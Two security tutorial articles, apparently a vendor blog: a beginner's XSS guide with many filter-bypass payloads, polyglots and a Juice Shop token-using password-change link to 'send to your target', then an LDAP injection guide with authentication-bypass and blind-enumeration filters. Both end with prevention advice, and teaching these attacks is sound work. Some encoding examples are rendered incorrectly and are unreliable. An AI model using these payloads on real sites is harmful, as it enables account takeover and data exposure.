The Ultimate Beginners Guide to XSS Vulnerability

Intro

Cross-site scripting (XSS) is an old but always relevant and dangerous type of attack that plagues almost all web applications, be it older or modern ones. It relies on developers using javascript to enhance the experience of end-users of their application, but when the javascript isn’t properly handled it leads to many possible issues, and one of them is XSS.

Importance of XSS vulnerabilities

The risk of XSS is that the malicious code is usually injected directly into the vulnerable application and not a redirect site that the user might watch out for. So if you often go to example.com and someone sends you a link of one of their articles that goes something like example.com/this-article-is-good?id=%3Cscript%3Ealert%281%29%3C%2Fscript%3E you’ll probably click it because it’s something you’re really used to. What you’re not aware of is that there was some code injected in the site without your or the site’s approval and that code might steal your session, take some screenshots, activate a keylogger, etc…

An even more dangerous type of XSS vulnerability is the persistent one where you don’t even have to click on a link to execute the code, you just browse to some page on a site you trust and an attackers comment containing malicious code that was saved in the database is displayed on the site and suddenly you and everyone who visits that page is triggering something they really don’t want to trigger.

Some known XSS attacks in the wild

One of the most famous examples of XSS is the “Samy“. Samy is one of the fastest spreading malwares in internet history. It abused unsanitized profile posts to inject harmful javascript code that was saved to the database and then activated whenever a user viewed that post, thus spreading the worm to themselves and so on.

Yahoo account hijack via email phishing and XSS, attackers made a page with malicious javascript that would steal cookies of visitors. The attack was executed by sending an email with a link to the popular news page article, but the link linked back to the attacker’s site which contained malicious code.

Types of XSS

The three most common types of XSS are:

– Reflected
– Persistent
DOM-based XSS

You can read more about these types and how and why they work here.

Attacks

Let’s start with the basics

XSS is a really easy attack to start testing and seeing if you can execute malicious code. To get started, find some possible injection points in your targets and start with some simple basic payloads and see how the page reacts and then try to break it.

Finding possible injection points

The easiest way to find possible injection points is to see if reflection happens somewhere. A good example for this is usually the search bar where once you search for something you get the string you searched back at the top of the page. 

In the image above you can clearly see reflection happening and this is a prime spot to start testing for XSS.

Another good place to start injecting is a form in which text will be displayed to a large number of people. A good example of this is comments on a page, a review, post, or basically anything that will be seen by someone other than you.

Inspecting the elements and analyzing the reflection

Once you found a reflection point it’s a good idea to analyze it a bit and see how things are getting reflected, what do they pass through to get reflected back to you and how you can get over some of the common hurdles that developers put in to stop XSS attacks.

A good first step is to inject a bunch of random characters to see if some are blacklisted. this includes characters like < > / ; ! # $ and combinations of them to see if they are all reflected properly. Another good way to see for common blacklisting is doing some basic injections and seeing how they are reflected.

After playing around with the input field itself it’s good to check the frontend code to see if it’s sanitized somewhere. Then, check the javascript files that the input field goes through to see that.

Basic injections

Doing basic injections is a great way to see how the field is reflecting the input and what it’s doing with it behind the scenes.

First start with injecting the most basic alert: <script>alert(1)</script>. What is reflected back to you, just the alert part, maybe you got a popup (if you did you found the goldmine, go ahead and break the whole site because there are probably a bunch more vectors possible), maybe it just filtered out special characters, maybe nothing got reflected, or in the worst case everything got reflected nicely back to you.

Depending on what got reflected back to you you can start crafting your payload.

Here are some examples on different simple injections and bypasses and how to work through them:

1. Basic injection works <script>alert(1)</script> in the URL parameter id (broken_site/xss/1?id=<script>alert(1)</script>)

2. Basic injection doesn’t work but we get some reflection (http://100.26.239.14:3000/vuln/xss/2?id=<script>alert(1)</script>)

In this example we see that there is reflection but the script tags are filtered out, let’s play a bit with them to see how we can get them displayed.

Let’s see if capitalization breaks out of the blacklisting. Next payload is broken/site/xss/2?id=<sCriPt>alert(1)</ScRipt>.

And it worked, the filtering used was just checking lowercase/uppercase characters and not mixed case.

3. Let’s try on another page, again we start with basic injection to scout it out broken_site/xss/3?id=<script>alert(1)</script>

Again as in the previous example, let’s mix the case and see how that reacts broken/site/xss/3?id=<sCriPt>alert(1)</ScRipt>

Pretty much the same as the previous try, nothing changed, looks like it sanitizes the input to only one case and then checks it.

Let’s try wrapping it to see if it does just one check or multiple checks. Payload is broken_site/xss/3?id=<sc<script>ript>alert(1)</sc</script>ript>

And this worked, the site just checks once if the payload contains the script tags and removes them, once it removes them we get another set of script tags that we wrapped around the removed ones and we get the successful alert prompt.

4. Page 4, again basic injection to see what’s going on broken_site/xss/4?id=<script>alert(1)</script>

Here we get an interesting reflection, where some tags are still there but there is no script.

Let’s try wrapping it up to see what’s happening with the payload broken_site/xss/4?id=<sc<script>ript>alert(1)</sc</script>ript>

It looks like the page uses some sort of regex to filters the script out, let’s try something other than script.

Injecting a basic a tag and seeing how the site reacts to that. Payload is broken_site/xss/4?id=<a onmouseover="alert(1)">Click me!</a>. What we do here is basically create a link that says click me, and when we hover the mouse over it, the alert box should execute.

We have the link on the site, let’s try hovering over it to see if we get the alert box.

And that worked because the whole focus of filtering was the script tag, the developers forgot about a tag and left that for the injections.

5. Another page, again we try the basic injection to see what’s going on with the site broken_site/xss/5?id=<script>alert(1)</script>

Nothing gets reflected, let’s try wrapping it and seeing how it behaves then. Payload is broken_site/xss/5?id=<sc<script>ript>alert(1)</sc</script>ript>

We get some reflection, but it doesn’t really help us out.

Let’s try with the a tag and see how it behaves, we’re still not sure what’s being filtered here.

Payload is broken_site/xss/5?id=<a onmouseover="alert(1)">Click me!</a>

We get the link but when we try to hover over it, it doesn’t actually execute anything. So it isn’t the script tag that is being filtered out but the alert is the culprit here. Let’s try converting it from ascii code to characters using some basic JS. Open up your developer tools by pressing F12 in your favorite browser and go to the Console tab. Type the following String.fromCharCode(97) and press Enter. You should get the character a displayed in your console. Now let’s craft up our alert box with this. Function is String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41) and let’s put that into eval so it executes. 

Payload is broken_site/xss/5?id=<a onmouseover="eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))">Click me!</a>

And once we hover on it.

It worked.

Another thing that would’ve worked in this case if we injected prompt or confirm instead of alert.

This is the standard way of working through to figure out how to get the prompt to appear, iteratively trying things until something sticks and then modifying the thing that sticks the best to get the prompt. Another good thing to do is to inspect the element and see the code around it to see if you can get something out of that. It’s really useful for detecting DOM-XSS issues.

The site we used to test these injections is Broken Crystals, and you can also contribute to it to make it better.

Going crazy with the payloads

XSS Payloads can and do get really crazy real fast, and the AppSec community created some great payloads that you can just copy and paste to see if they work.

Some common bypasses are:

– Encodings

  – URL encoding

<script>alert(1)</script> to %3Cscript%3Ealert%281%29%3C%2Fscript%3E

  – Base64 encoding

  <script>alert(1)</script> to PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

  – Hexadecimal encoding without semicolon

<script>alert(1)</script> to %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E

  – Decimal HTML character

<script>alert(1)</script> to <script>alert(1)</script><script>alert(1)</script>

  – Decimal HTML character without semicolon

<script>alert(1)</script> to &#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#49&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62

  – Octal encoding

javascript:prompt(1) to javascript:'160162157155160164506151'

  – Unicode encoding %EF%BC%9E -> > and %EF%BC%9C -> <

<script>alert(1)</script> to %EF%BC%9Cscript%EF%BC%9Ealert(1)%EF%BC%9C/script%EF%BC%9E

  – Using jsfuck

– Embedding encoded characters that don’t break the script (tab, newline, carriage return)

  – Embedding tab

<script>alert(1)</script> to <scri pt>alert(1)</script>

  – Embedding newline

<script>alert(1)</script> to <scri pt>alert(1)</script>

  – Embedding carriage return

<script>alert(1)</script> to <scri pt>alert(1)</script>

  – Null breaks

 <script>alert(1)</script> to <script>alert(1)</script>;

  Null breaks should be done either through a proxy or by embedding the %00 in the URL query, otherwise they won’t work properly.

– Character bypasses:

  – To bypass quotes for string use String.fromCharCode() function

  – To bypass quotes in mousedown event <a href="" onmousedown="var name = '';alert(1)//'; alert('smthg')">Link</a>

  – To bypass space filter use one of /, 0x0c/^L like:

<a onmouseover="alert(1)">Click me!</a> to <a/onmouseover="alert(1)">Click me!</a>

<a onmouseover="alert(1)">Click me!</a> to <a^Lonmouseover="alert(1)">Click me!</a>

  – To bypass parenthesis for string using `

<script>alert(1)</script> to <script>alert`1`</script>

  – To bypass closing tags > use nothing, they don’t need to be closed

<svg onload=alert(1);//

– Bypassing on...= filter

  – Using null byte

<a onmouseover="alert(1)">Click me!</a> to <a onmouseoverx00="alert(1)">Click me!</a>

  – Using vertical tab

<a onmouseover="alert(1)">Click me!</a> to <a onmouseoverx0b="alert(1)">Click me!</a>

  – Using a /

<a onmouseover="alert(1)">Click me!</a> to <a onmouseover/="alert(1)">Click me!</a>

– Escaping JS escapes

You’re already working in script tags but you need to escape the quotes to inject your own code:

  ";alert(1);//

  or close the script tag and open up your own immediately after:

  </script><script>alert(1);</script>

Polyglots

Polyglots are used to save time when testing for XSS. They usually cover a large variety of injection contexts. They aren’t the end all be all for XSS but they do speed up the process quite a bit. If the polyglot works, you save a lot of time, if it doesn’t you either move on or continue with a lot more specific attack on that input. It all depends on your goal, if it is to test a lot of parameters, polyglots are great, if it is to break a single parameter, you will probably need to dig deep into how that specific part of the application works.

Here is a great polyglot by 0xSobky 

jaVasCript:/*-/*`/*`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>x3csVg/<sVg/oNloAd=alert()//>x3e

It covers a large amount of injection contexts and is overall great polyglot to test everything with.

Another great polyglot by s0md3v

-->'"/><sCript><deTailS open x=">" ontoggle=(cou006efirm)``>

You can find many other polyglots here.

Fun on test sites

JuiceShop XSS-es

Reflected XSS Example

On juice-shop, login as any user, and then go to “Account” and “Privacy & Security”. Next go to “Change Password”.

Open developer tools (F12) and go to Network tab and change the password.

You will see this link http://juice-shop.herokuapp.com/rest/user/change-password?current=xxx&new=aaaaa&repeat=aaaaa. And once we probe it a bit we find out that we can change the password without supplying the old password. So the request looks like http://juice-shop.herokuapp.com/rest/user/change-password?new=aaaaa&repeat=aaaaa.

With this we have a way of changing someone’s password but now we need a way of executing the request. If we try to input this in the search box XSS like <img src="http://juice-shop.herokuapp.com/rest/user/change-password?new=aaaaa&repeat=aaaaa"> it won’t work because it doesn’t actually send a request.

So we wrap with iframe and send a proper HttpRequest to get this to work like

<iframe src="javascript:xmlhttp = new XMLHttpRequest();
   xmlhttp.open('GET', 'http://juice-shop.herokuapp.com/rest/user/change-password?new=aaaaa;repeat=aaaaa’);
   xmlhttp.setRequestHeader('Authorization',`Bearer=${localStorage.getItem('token')}`);
   xmlhttp.send();">
</iframe>

And once we add it to search query with URL encoding we get something really proper that works:

http://juice-shop.herokuapp.com/#/search?q=%3Ciframe%20src%3D%22javascript%3Axmlhttp%20%3D%20new%20XMLHttpRequest%28%29%3B%20xmlhttp.open%28%27GET%27%2C%20%27http%3A%2F%2Flocalhost%3A3000%2Frest%2Fuser%2Fchange-password%3Fnew%3Daaaaa%26amp%3Brepeat%3Daaaaa%27%29%3B%20xmlhttp.setRequestHeader%28%27Authorization%27%2C%60Bearer%3D%24%7BlocalStorage.getItem%28%27token%27%29%7D%60%29%3B%20xmlhttp.send%28%29%3B%22%3E

And now we can send this link to our target and their password will be changed to whatever you put there.

Learn more in our detailed guide to reflected xss.

Persistent XSS Example

Login as any user on juice-shop and go to “Account” and then “Profile”. Type in any Username and click “Set Username”. It reflects the pack on the page. After playing around with payloads for a bit we can see that wrapping works here so the payload is <<script>ascript>alert(1)</script>. Now anyone that visits our profile gets popup.

DOM XSS Example

In juice-shop in “Search” field type <iframe src="javascript:alert(1)">. You will get the popup. Copy the URL http://juice-shop.herokuapp.com/#/search?q=%3Ciframe%20src%3D%22javascript:alert(%60xss%60)%22%3E and send it to your target.

Prevention

Reflected and Stored XSS

Reflected and stored cross-site scripting can be sanitized on the server-side and there are multiple ways of doing it.

One great way to start is to use a security encoding library to encode all parameters and user input.

Blacklisting characters that are deemed unsafe won’t really work out in the long run since some malicious user might figure out some bypass for it as it usually happens. What you need to do is whitelist what is allowed.

If you need to insert parameters/user input data into your HTML body somewhere you need to do HTML escape before insert itself. You will also need to HTML entity encode any character that can switch execution context, such as script, style, or event handlers.

Escape attribute if you need to insert parameters/user input data into your HTML common attributes. Don’t use complex attributes like href, src, style or any event handlers. Also quote your attributes since unquoted attributes can be escaped with a lot of different characters, while quotes attributes can only be escaped with the corresponding quote. Escape all non-alphanumeric characters to prevent switching out of the attribute.

Do JavaScript escaping for dynamically generated JS code, where you would need to insert parameters/user data input into either event handlers or script tags. Only real safe place you can put data here is inside any quoted value. Anything else is really tricky to sanitize properly since it’s really easy to switch context.

There are many additional things to keep in mind when preventing XSS and you can read more at OWASP XSS Prevention.

DOM XSS

DOM XSS can’t be sanitized on the server-side since all execution happens on the client-side and thus the sanitization is a bit different.

Always HTML escape and then JavaScript escape any parameter or user data input before inserting it into the HTML subcontext in the execution context.

When inserting into the HTML attribute subcontext in the execution context do JavaScript escape before it.

Avoid including any volatile data (any parameter/user input) in event handlers and JavaScript code subcontexts in an execution context. 

There are a lot more ways to help prevent the DOM XSS and you can read more about it at OWASP DOM XSS Prevention.

Summary

Cross-site scripting is an extremely dangerous attack vector that needs constant care and attention to be preventable. Any untrusted data injected into the frontend might cause huge problems.

Both attacking and preventing XSS can get really complicated at all possible levels so follow the proper updated guidelines when protecting and try all the different encodings and bypasses when attacking to have most success.

Cross-site scripting vulnerabilities can be detected by Bright.

Bright tests for vulnerabilities in anything from web apps to IoT devices, including APIs, microservices and mobile applications.

You can sign-up for a free Bright account here.

Additional resources and references

OWASP Cheatsheet
XSS Polyglot – 0xsobky
XSS Polyglot – s0md3v
XSS Payload List
XSS Injection List
Broken crystals
OWASP Juice-shop
OWASP XSS Prevention
OWASP DOM XSS Prevention

The most common LDAP Injections and how they work

In the first part of the LDAP Injections blog, we talked about the basics. The definition of LDAP Services, how they get exploited, and what environments are the most vulnerable to LDAP Injection attacks. In this post  we will go over the most common LDAP Injections and show examples so you can learn how hackers use these techniques to exploit vulnerable environments.

What are the most used LDAP Services? ADAM and OpenLDAP. Both are susceptible to injection attacks. Let’s show some LDAP Injection examples that can occur in some of these vulnerable environments:

-(attribute=value) 

IA filter can be used to make a query that’s missing a logic operator (OR and AND). An injection like:

“value)(injected_filter” 

Results in two filters (the second gets ignored while the first one gets executed in OpenLDAP implementations):

(attribute=value)(injected_filter)

ADAM LDAP doesn’t allow queries with two filters. This renders this injection useless. Then we have the & and | standalone symbols. Making queries with them looks something like this:

(&(attribute=value)(second_filter))

(|(attribute=value)(second_filter))

Filters that have the OR or AND  logic operators can make queries in which this injection:

“value)(injected_filter” 

Results in this filter:

(&(attribute=value)(injected_filter)) (second_filter)).

As you can see, this filter isn’t even syntactically correct. Yet, OpenLDAP will process it regardless. It will go from left to right and ignore all characters after the first filter closes. What does that entail? Certain LDAP Client components ignore the second filter. The first complete one is sent to ADAM and OpenLDAP. That’s how injections bypass security. 

In cases where applications have a framework that checks the filter, it needs to be correct. An example of a synthetically correct injection looks something like:

“value)(injected_filter))(&(1=0”

This shows two different filters where the second one gets ignored:

(&(attribute=value)(injected_filter))(&1=0) (second_filter)).

Since certain LDAP Servers ignore the second filter, some components don’t allow LDAP queries with two filters. Attackers then create special injections to obtain an LDAP query with a single filter. Now an injection like:

“value)(injected_filter”

Results in this filter:

(&(attribute=value)(injected_filter))(second_filter)).

How do attackers test an application to see if it’s vulnerable to code injections? They send a query to the server that generates an invalid input. If a server returns an error message, it means the server executed his query. Meaning code injection techniques are possible. Read more to find out about AND and OR injection environments.

AND LDAP Injection

In this case, the application constructs a query with the “&” operator. This together with one or more parameters that are introduced by the user is used to search in the LDAP directory.

(&(parameter1=value1)(parameter2=value2))

The search uses value1 and value2 as values that let the search in the LDAP directory happen. Hackers can maintain a correct filter construction while also injecting their malicious code. This is how they abuse the query to pursue their own objectives.

Access Control Bypass

All login pages have two text box fields. One for the username one for the password. The user inputs are USER(Uname) and PASSWORD(Pwd). A client supplies the user/password pair. To confirm the existence of this pair, LDAP constructs search filters and sends them to the LDAP server.

(&(USER=Uname)(PASSWORD=Pwd))

An attacker can enter a valid username (john90 for example) while also injecting the correct sequence after the name. This way they successfully bypass the password check. By knowing the username any string can be introduced as the Pwd value. Then the following query gets sent to the server:

(&(USER=john90)(&))(PASSWORD=Pwd))

The LDAP server process only the first filter. The query processes only the (&(USER=john90)(&) query. Since this query is always correct, the attacker enters the system without the proper password.

Elevation of Privileges

Some queries list all documents and they’re visible to users that have a low-security level. As an example /Information/Reports, /Information/UpcomingProjects, etc. files in the directory. The “Information”  part is the user entry for the first parameter. All these documents have a “Low” security level. The “Low” part is the value for the second parameter. This also allows the hacker to access high-security levels. In order to do that the hacker must use an injection that looks something like this:

“Information)(security_level=*))(&(directory=documents”

This injection results in this filter:

(&(directory=Information)(security_level=*))(&(directory=Information)(security_level=low))

If you’ve been paying attention you know the LDAP processes the first filter. The second filter gets ignored. The query that gets processed is (&(directory=Information)security level=*)). The (&(directory=Information)(security level=low)) is ignored completely. That’s how hackers see a list of documents that can usually only be accessed by users with all security levels. Even though the hacker doesn’t actually have privileges to see this information

OR LDAP Injection

There are cases where the application makes a normal query with the (|) operator. Together with one or more parameters that the user introduces. An example looks something like this:

(|(parameter=value1)(parameter2=value2))

As before, value1 and value2 are used for the search.

Information Disclosure

Some resource explorers let a user know exactly which resource is available in the system. For example, a website dedicated to selling clothing. The user can look for a specific shirt or pants and see if they are available for sale. In this situation OR LDAP Injections are used:

(|(type=Resource1)(type=Resource2))

Both Resource1 and Resource2 show the kinds of resources in the system. Resource1=Jeans  and Resource2=T-Shirts show all the jeans and T-Shirts that are available for purchase in the system. How do hackers exploit this? By injecting (uid=*) into Resource1=Jeans. This query then gets sent to the server:

(|(type=Jeans)(uid=*))(type=T-Shirts))

The LDAP server then shows all the jeans and user objects.

BLIND LDAP Injections

Hackers can deduce a lot of things just from a server’s response. The application itself doesn’t show any error messages. Yet, the code that’s injected into the LDAP filter will generate a valid response or an error. A true result or a false result. Attackers exploit this behavior to obtain answers to true or false questions from the server. We call these techniques Blind Attacks. Even though blind LDAP Injection attacks aren’t as fast as classic ones, they are easy to implement. Why? Because they work on binary logic. Hackers use blind LDAP Injections to obtain sensitive information from the LDAP Directory.

AND Blind LDAP Injection

Imagine an online shop that can list all Puma shirts from an LDAP directory. But the error messages are not returned. This LDAP search filter gets sent:

(&(objectClass=Shirt)(type=Puma*))

Any available Puma shirts are shown to the user as icons. If there are no Puma shirts available, the user won’t see any icons. This is where Blind LDAP Injection comes into play. “*)objectClass=*))(&(objectClass=void” is injected and now the application constructs an LDAP query that looks like:

(&(objectClass=*)(objectClass=*))(&(objectClass=void)(type=Puma*))

The server process only the (&(objectClass=*)(objectClass=*)) part of the LDAP filter. Now the shirt icon shows to the client. How so? The objectClass=* filter always returns an object. An icon showing means the response is true. Otherwise the response is false. The hackers now have the option of using blind injection techniques in many ways. An example of an injection:

(&(objectClass=*)(objectClass=users))(&(objectClass=foo)(type=Puma*))

(&(objectClass=*)(objectClass=Resources))(&(objectClass=foo)(type=Puma*))

Different objectClass values can be deduced with the help of these injections. If even a single shirt icon is shown, the objectClass value exists. Otherwise, the objectClass doesn’t exist. A hacker can obtain all sorts of information by using TRUE/FALSE questions via Blind LDAP injections.

OR Blind LDAP Injection

Injection in an OR environment looks like this:

(|(objectClass=void)(objectClass=void))(&(objectClass=void)(type=Puma*))

This LDAP query doesn’t obtain any objects from the LDAP directory service. The shirt icon doesn’t get shown to the client, making it a FALSE response. If an icon is shown it is a TRUE response. In order to gather information the hacker will inject an LDAP filter like this one:

(|(objectClass=void)(objectClass=users))(&(objectClass=void)(type=Puma*))

(|(objectClass=void)(objectClass=Resources))(&(objectClass=void)(type=Puma*))

It’s the same thing as with the AND Blind Injection. Keep reading to see how you can protect yourself against LDAP vulnerabilities!

How to prevent LDAP vulnerabilities

We’ve now reached the part of the blog where we tell you how to protect yourself against LDAP Injections. Unfortunately, firewalls and intrusion detection mechanisms will not help here as all of these attacks occur in the application layer. Your best option is to use minimum exposure points and minimum privileges principles. Those are some of the ways to minimize the danger of these threats. There are other options as well. To further mitigate the dangers of code injection techniques use these mechanisms:

  • Static source code analysis
  • Defensive programming
  • Advanced input validation
  • Dynamic checks

The most effective way of preventing LDAP Injection attacks is to sanitize and check variables. As variables are the building block of LDAP filters, hackers use special characters in parameters to create malicious injections. AND “&”, OR “|”, NOT “!”, =, >=, <=, ~= are all operators that need to be filtered at the application layer to ensure they’re not used in Injection attacks. 

All values which make the LDAP filter should be checked against a list of valid values in the Application Layer before the LDAP receives the query.

In summary, Part 1 and Part 2 cover the basics of LDAP Injections, explains how they work with detailed examples, and provides some prevention guidelines to protect yourself against these attack techniques.